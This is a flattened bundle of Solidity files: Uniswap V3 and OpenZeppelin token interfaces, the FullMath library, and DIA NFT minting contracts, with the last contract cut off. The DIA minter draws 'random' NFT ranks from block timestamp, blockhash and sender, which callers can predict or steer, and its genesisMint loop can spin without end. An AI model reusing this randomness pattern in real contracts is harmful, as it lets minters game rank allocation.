/// @param feeProtocol0 new protocol fee for token0 of the pool
/// @param feeProtocol1 new protocol fee for token1 of the pool
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;
/// @notice Collect the protocol fee accrued to the pool
/// @param recipient The address to which collected protocol fees should be sent
/// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1
/// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0
/// @return amount0 The protocol fee collected in token0
/// @return amount1 The protocol fee collected in token1
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Events emitted by a pool
/// @notice Contains all events emitted by the pool
interface IUniswapV3PoolEvents {
/// @notice Emitted exactly once by a pool when #initialize is first called on the pool
/// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize
/// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96
/// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool
event Initialize(uint160 sqrtPriceX96, int24 tick);
/// @notice Emitted when liquidity is minted for a given position
/// @param sender The address that minted the liquidity
/// @param owner The owner of the position and recipient of any minted liquidity
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity minted to the position range
/// @param amount0 How much token0 was required for the minted liquidity
/// @param amount1 How much token1 was required for the minted liquidity
event Mint(
address sender,
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when fees are collected by the owner of a position
/// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees
/// @param owner The owner of the position for which fees are collected
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount0 The amount of token0 fees collected
/// @param amount1 The amount of token1 fees collected
event Collect(
address indexed owner,
address recipient,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount0,
uint128 amount1
);
/// @notice Emitted when a position's liquidity is removed
/// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect
/// @param owner The owner of the position for which liquidity is removed
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity to remove
/// @param amount0 The amount of token0 withdrawn
/// @param amount1 The amount of token1 withdrawn
event Burn(
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted by the pool for any swaps between token0 and token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the output of the swap
/// @param amount0 The delta of the token0 balance of the pool
/// @param amount1 The delta of the token1 balance of the pool
/// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96
/// @param liquidity The liquidity of the pool after the swap
/// @param tick The log base 1.0001 of price of the pool after the swap
event Swap(
address indexed sender,
address indexed recipient,
int256 amount0,
int256 amount1,
uint160 sqrtPriceX96,
uint128 liquidity,
int24 tick
);
/// @notice Emitted by the pool for any flashes of token0/token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the tokens from flash
/// @param amount0 The amount of token0 that was flashed
/// @param amount1 The amount of token1 that was flashed
/// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee
/// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee
event Flash(
address indexed sender,
address indexed recipient,
uint256 amount0,
uint256 amount1,
uint256 paid0,
uint256 paid1
);
/// @notice Emitted by the pool for increases to the number of observations that can be stored
/// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index
/// just before a mint/swap/burn.
/// @param observationCardinalityNextOld The previous value of the next observation cardinality
/// @param observationCardinalityNextNew The updated value of the next observation cardinality
event IncreaseObservationCardinalityNext(
uint16 observationCardinalityNextOld,
uint16 observationCardinalityNextNew
);
/// @notice Emitted when the protocol fee is changed by the pool
/// @param feeProtocol0Old The previous value of the token0 protocol fee
/// @param feeProtocol1Old The previous value of the token1 protocol fee
/// @param feeProtocol0New The updated value of the token0 protocol fee
/// @param feeProtocol1New The updated value of the token1 protocol fee
event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New);
/// @notice Emitted when the collected protocol fees are withdrawn by the factory owner
/// @param sender The address that collects the protocol fees
/// @param recipient The address that receives the collected protocol fees
/// @param amount0 The amount of token0 protocol fees that is withdrawn
/// @param amount0 The amount of token1 protocol fees that is withdrawn
event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
pragma abicoder v2;
/// @title Creates and initializes V3 Pools
/// @notice Provides a method for creating and initializing a pool, if necessary, for bundling with other methods that
/// require the pool to exist.
interface IPoolInitializer {
/// @notice Creates a new pool if it does not exist, then initializes if not initialized
/// @dev This method can be bundled with others via IMulticall for the first action (e.g. mint) performed against a pool
/// @param token0 The contract address of token0 of the pool
/// @param token1 The contract address of token1 of the pool
/// @param fee The fee amount of the v3 pool for the specified token pair
/// @param sqrtPriceX96 The initial square root price of the pool as a Q64.96 value
/// @return pool Returns the pool address based on the pair of tokens and fee, will return the newly created pool address if necessary
function createAndInitializePoolIfNecessary(
address token0,
address token1,
uint24 fee,
uint160 sqrtPriceX96
) external payable returns (address pool);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
/// @title ERC721 with permit
/// @notice Extension to ERC721 that includes a permit function for signature based approvals
interface IERC721Permit is IERC721 {
/// @notice The permit typehash used in the permit signature
/// @return The typehash for the permit
function PERMIT_TYPEHASH() external pure returns (bytes32);
/// @notice The domain separator used in the permit signature
/// @return The domain seperator used in encoding of permit signature
function DOMAIN_SEPARATOR() external view returns (bytes32);
/// @notice Approve of a specific token ID for spending by spender via signature
/// @param spender The account that is being approved
/// @param tokenId The ID of the token that is being approved for spending
/// @param deadline The deadline timestamp by which the call must be mined for the approve to work
/// @param v Must produce valid secp256k1 signature from the holder along with `r` and `s`
/// @param r Must produce valid secp256k1 signature from the holder along with `v` and `s`
/// @param s Must produce valid secp256k1 signature from the holder along with `r` and `v`
function permit(
address spender,
uint256 tokenId,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external payable;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
/// @title Periphery Payments
/// @notice Functions to ease deposits and withdrawals of ETH
interface IPeripheryPayments {
/// @notice Unwraps the contract's WETH9 balance and sends it to recipient as ETH.
/// @dev The amountMinimum parameter prevents malicious contracts from stealing WETH9 from users.
/// @param amountMinimum The minimum amount of WETH9 to unwrap
/// @param recipient The address receiving ETH
function unwrapWETH9(uint256 amountMinimum, address recipient) external payable;
/// @notice Refunds any ETH balance held by this contract to the `msg.sender`
/// @dev Useful for bundling with mint or increase liquidity that uses ether, or exact output swaps
/// that use ether for the input amount
function refundETH() external payable;
/// @notice Transfers the full amount of a token held by this contract to recipient
/// @dev The amountMinimum parameter prevents malicious contracts from stealing the token from users
/// @param token The contract address of the token which will be transferred to `recipient`
/// @param amountMinimum The minimum amount of token required for a transfer
/// @param recipient The destination address of the token
function sweepToken(
address token,
uint256 amountMinimum,
address recipient
) external payable;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Immutable state
/// @notice Functions that return immutable state of the router
interface IPeripheryImmutableState {
/// @return Returns the address of the Uniswap V3 factory
function factory() external view returns (address);
/// @return Returns the address of WETH9
function WETH9() external view returns (address);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Provides functions for deriving a pool address from the factory, tokens, and the fee
library PoolAddress {
bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54;
/// @notice The identifying key of the pool
struct PoolKey {
address token0;
address token1;
uint24 fee;
}
/// @notice Returns PoolKey: the ordered tokens with the matched fee levels
/// @param tokenA The first token of a pool, unsorted
/// @param tokenB The second token of a pool, unsorted
/// @param fee The fee level of the pool
/// @return Poolkey The pool details with ordered token0 and token1 assignments
function getPoolKey(
address tokenA,
address tokenB,
uint24 fee
) internal pure returns (PoolKey memory) {
if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA);
return PoolKey({token0: tokenA, token1: tokenB, fee: fee});
}
/// @notice Deterministically computes the pool address given the factory and PoolKey
/// @param factory The Uniswap V3 factory contract address
/// @param key The PoolKey
/// @return pool The contract address of the V3 pool
function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) {
require(key.token0 < key.token1);
pool = address(
uint256(
keccak256(
abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encode(key.token0, key.token1, key.fee)),
POOL_INIT_CODE_HASH
)
)
)
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0;
/// @title Contains 512-bit math functions
/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
library FullMath {
/// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
/// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv
function mulDiv(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
// 512-bit multiply [prod1 prod0] = a * b
// Compute the product mod 2**256 and mod 2**256 - 1
// then use the Chinese Remainder Theorem to reconstruct
// the 512 bit result. The result is stored in two 256
// variables such that product = prod1 * 2**256 + prod0
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(a, b, not(0))
prod0 := mul(a, b)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division
if (prod1 == 0) {
require(denominator > 0);
assembly {
result := div(prod0, denominator)
}
return result;
}
// Make sure the result is less than 2**256.
// Also prevents denominator == 0
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0]
// Compute remainder using mulmod
uint256 remainder;
assembly {
remainder := mulmod(a, b, denominator)
}
// Subtract 256 bit number from 512 bit number
assembly {
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// Factor powers of two out of denominator
// Compute largest power of two divisor of denominator.
// Always >= 1.
uint256 twos = -denominator & denominator;
// Divide denominator by power of two
assembly {
denominator := div(denominator, twos)
}
// Divide [prod1 prod0] by the factors of two
assembly {
prod0 := div(prod0, twos)
}
// Shift in bits from prod1 into prod0. For this we need
// to flip `twos` such that it is 2**256 / twos.
// If twos is zero, then it becomes one
assembly {
twos := add(div(sub(0, twos), twos), 1)
}
prod0 |= prod1 * twos;
// Invert denominator mod 2**256
// Now that denominator is an odd number, it has an inverse
// modulo 2**256 such that denominator * inv = 1 mod 2**256.
// Compute the inverse by starting with a seed that is correct
// correct for four bits. That is, denominator * inv = 1 mod 2**4
uint256 inv = (3 * denominator) ^ 2;
// Now use Newton-Raphson iteration to improve the precision.
// Thanks to Hensel's lifting lemma, this also works in modular
// arithmetic, doubling the correct bits in each step.
inv *= 2 - denominator * inv; // inverse mod 2**8
inv *= 2 - denominator * inv; // inverse mod 2**16
inv *= 2 - denominator * inv; // inverse mod 2**32
inv *= 2 - denominator * inv; // inverse mod 2**64
inv *= 2 - denominator * inv; // inverse mod 2**128
inv *= 2 - denominator * inv; // inverse mod 2**256
// Because the division is now exact we can divide by multiplying
// with the modular inverse of denominator. This will give us the
// correct result modulo 2**256. Since the precoditions guarantee
// that the outcome is less than 2**256, this is the final result.
// We don't need to compute the high bits of the result and prod1
// is no longer required.
result = prod0 * inv;
return result;
}
/// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
function mulDivRoundingUp(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
result = mulDiv(a, b, denominator);
if (mulmod(a, b, denominator) > 0) {
require(result < type(uint256).max);
result++;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
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|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./DIADataNFT.sol";
library NFTUtil {
function randomByte(uint256 seed) private view returns (uint8) {
return uint8(uint256(keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 1), msg.sender, seed)))%256);
}
function randInt(uint256 max, uint256 seed) external view returns (uint256) {
return randomByte(seed) % max;
}
}
contract DIAGenesisMinter is Ownable {
using NFTUtil for *;
address[] public genesisNFTs;
address[] public postGenesisNFTs;
//true = means in genesis
//false = post genesis
mapping (address => bool) allNFTs;
uint256 private seed;
constructor(uint256 _seed) {
seed = _seed;
}
event MintedDataNFT(address DIADataNFT, address owner, uint256 numMinted, uint256 newRank, bool isGenesis);
event NewNFT(address NFTAddr);
event UpdatedNFT(address NFTAddr, bool isGenesis);
function updateSeed(uint256 newSeed) external onlyOwner {
seed = newSeed;
}
function addNFT(address _addr) public onlyOwner{
allNFTs[_addr] = true;
genesisNFTs.push(_addr);
emit NewNFT(_addr);
}
function updateNFT(address _addr, bool _isGenesis) public onlyOwner{
allNFTs[_addr] = _isGenesis;
if (_isGenesis){
//updating to Genesis, remove from post-genesis if its there
for(uint256 i = 0; i < postGenesisNFTs.length; i++) {
if(postGenesisNFTs[i] == _addr) {
postGenesisNFTs[i] = postGenesisNFTs[postGenesisNFTs.length - 1];
postGenesisNFTs.pop();
}
}
}else{
//if its not genesis, remove it from the genesisNFT
for(uint256 i = 0; i < genesisNFTs.length; i++) {
if(genesisNFTs[i] == _addr) {
genesisNFTs[i] = genesisNFTs[genesisNFTs.length - 1];
genesisNFTs.pop();
}
}
}
emit UpdatedNFT(_addr, _isGenesis);
}
function postGenesisMint(uint256 NFTIndex) external{
DIADataNFT diaDataNFTImpl = DIADataNFT(postGenesisNFTs[NFTIndex]);
require(!diaDataNFTImpl.genesisPhase());
require(diaDataNFTImpl.started());
// Randomize for the case that not all Non-Common NFTs are minted yet
uint256 newRank = NFTUtil.randInt(diaDataNFTImpl.NUM_PRIVILEGED_RANKS(), seed);
uint256 mintedRank = diaDataNFTImpl._mintDataNFT(msg.sender, newRank);
// Transfer payment token to burn address
require(ERC20(diaDataNFTImpl.paymentToken()).transferFrom(msg.sender, diaDataNFTImpl.burnAddress(), diaDataNFTImpl.burnAmount()), "Payment token transfer to burn address failed.");
// Transfer payment token to minting pool
require(ERC20(diaDataNFTImpl.paymentToken()).transferFrom(msg.sender, diaDataNFTImpl.mintingPool(), diaDataNFTImpl.mintingPoolAmount()), "Payment token transfer to minting pool failed.");
// Transfer payment token to source NFT pool
require(ERC20(diaDataNFTImpl.paymentToken()).transferFrom(msg.sender, address(diaDataNFTImpl.diaSourceNFTImpl()), diaDataNFTImpl.diaSourceNFTImpl().getSourcePoolAmount(diaDataNFTImpl.sourceNFTId())), "Payment token transfer to source pool failed.");
emit MintedDataNFT(postGenesisNFTs[NFTIndex], msg.sender, diaDataNFTImpl.numMintedNFTs(), mintedRank, false);
}
function genesisMint() external {
uint256 genesisNFTIndex = NFTUtil.randInt(genesisNFTs.length, seed);
DIADataNFT diaDataNFTImpl = DIADataNFT(genesisNFTs[genesisNFTIndex]);
uint256 newRank = NFTUtil.randInt(diaDataNFTImpl.NUM_PRIVILEGED_RANKS(), seed);
while(!diaDataNFTImpl.started() ||
!diaDataNFTImpl.genesisPhase() ||
!diaDataNFTImpl.exists() ||
diaDataNFTImpl.numMintedNFTs() >= diaDataNFTImpl.NUM_PRIVILEGED_RANKS()) {
genesisNFTIndex = (genesisNFTIndex + 1) % (genesisNFTs.length);
diaDataNFTImpl = DIADataNFT(genesisNFTs[genesisNFTIndex]);
}
uint256 mintedRank = diaDataNFTImpl._mintDataNFT(msg.sender, newRank);
// Transfer payment token to burn address
require(ERC20(diaDataNFTImpl.paymentToken()).transferFrom(msg.sender, diaDataNFTImpl.burnAddress(), diaDataNFTImpl.burnAmount()), "Payment token transfer to burn address failed.");
// Transfer payment token to minting pool
require(ERC20(diaDataNFTImpl.paymentToken()).transferFrom(msg.sender, diaDataNFTImpl.mintingPool(), diaDataNFTImpl.mintingPoolAmount()), "Payment token transfer to minting pool failed.");
// Transfer payment token to source NFT pool
require(ERC20(diaDataNFTImpl.paymentToken()).transferFrom(msg.sender, address(diaDataNFTImpl.diaSourceNFTImpl()), diaDataNFTImpl.diaSourceNFTImpl().getSourcePoolAmount(diaDataNFTImpl.sourceNFTId())), "Payment token transfer to source pool failed.");
emit MintedDataNFT(genesisNFTs[genesisNFTIndex], msg.sender, diaDataNFTImpl.numMintedNFTs(), mintedRank, true);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "./DIASourceNFT.sol";
import "./Strings.sol";
contract DIADataNFT is Ownable, ERC1155 {
using Math for uint256;
using Strings for string;
address public DIASourceNFTAddr;
DIASourceNFT public diaSourceNFTImpl = DIASourceNFT(DIASourceNFTAddr);
address public DIAGenesisMinterAddr;
uint256 public constant NUM_PRIVILEGED_RANKS = 10;
uint256 public numMintedNFTs;
mapping (uint256 => address) rankMinter;
mapping (uint256 => uint) lastClaimPayout;
bool public exists;
bool public started;
bool public genesisPhase;
uint256 public sourceNFTId;
mapping (address => uint256) public mintsPerWallet;
uint256 public maxMintsPerWallet = 3;
address public paymentToken;
address public constant burnAddress = address(0x000000000000000000000000000000000000dEaD);
address public mintingPool;
uint256 public burnAmount;
uint256 public mintingPoolAmount;
constructor(address _paymentToken, uint256 _burnAmount, uint256 _mintingPoolAmount, address _mintingPool, address _DIAGenesisMinterAddr, bytes memory metadataURI) ERC1155(string(metadataURI)) {
require(_paymentToken != address(0), "Payment token address is 0.");
require(_mintingPool != address(0), "Minting pool address is 0.");
paymentToken = _paymentToken;
burnAmount = _burnAmount;
mintingPoolAmount = _mintingPoolAmount;
mintingPool = _mintingPool;
DIAGenesisMinterAddr = _DIAGenesisMinterAddr;
}
event NewDataNFTCategory(uint256 sourceNFTId);
event MintedDataNFT(address owner, uint256 numMinted, uint256 newRank);
event ClaimedMintingPoolReward(uint256 rank, address claimer);
function uri(uint256 _id) public view override returns (string memory) {
if (_id > 10) {
_id = 10;
}
return string(abi.encodePacked(
super.uri(_id),
Strings.uint2str(_id),
".json"
));
}
function finishGenesisPhase() external onlyOwner {
genesisPhase = false;
}
function startMinting() external onlyOwner {
started = true;
}
function updateMaxMintsPerWallet(uint256 newValue) external onlyOwner {
maxMintsPerWallet = newValue;
}
function updateDIAGenesisMinterAddr(address newAddress) external onlyOwner {
DIAGenesisMinterAddr = newAddress;
}
function setSrcNFT(address _newAddress) external onlyOwner {
DIASourceNFTAddr = _newAddress;
diaSourceNFTImpl = DIASourceNFT(DIASourceNFTAddr);
}
function generateDataNFTCategory(uint256 _sourceNFTId) external {
require(diaSourceNFTImpl.balanceOf(msg.sender, _sourceNFTId) > 0);
exists = true;
genesisPhase = true;
started = false;
sourceNFTId = _sourceNFTId;
emit NewDataNFTCategory(_sourceNFTId);
}
function _mintDataNFT(address _origin, uint256 _newRank) public returns (uint256) {
require(msg.sender == DIAGenesisMinterAddr, "Only callable from the genesis minter contract");
// Check that category exists
require(exists, "_mintDataNFT.Category must exist");
// Get current number minted of the NFT
uint256 numMinted = numMintedNFTs;
if (numMinted < NUM_PRIVILEGED_RANKS) {
while (rankMinter[_newRank] != address(0)) {
_newRank = (_newRank + 1) % NUM_PRIVILEGED_RANKS;
}
} else {
_newRank = numMintedNFTs;
}
// Check that the wallet is still allowed to mint
require(mintsPerWallet[_origin] < maxMintsPerWallet, "Sender has used all its mints");
// Mint data NFT
_mint(_origin, getErcRank(_newRank), 1, "");
// Update data struct
rankMinter[_newRank] = _origin;
numMintedNFTs = numMinted + 1;
// Update Source NFT data
uint256 currSourceNFTId = sourceNFTId;
diaSourceNFTImpl.notifyDataNFTMint(currSourceNFTId);
mintsPerWallet[_origin] += 1;
emit MintedDataNFT(_origin, numMinted, _newRank);
return _newRank;
}
function getRankMinter(uint256 rank) external view returns (address) {
return rankMinter[rank];
}
function getLastClaimPayout(uint256 rank) external view returns (uint) {
return lastClaimPayout[rank];
}
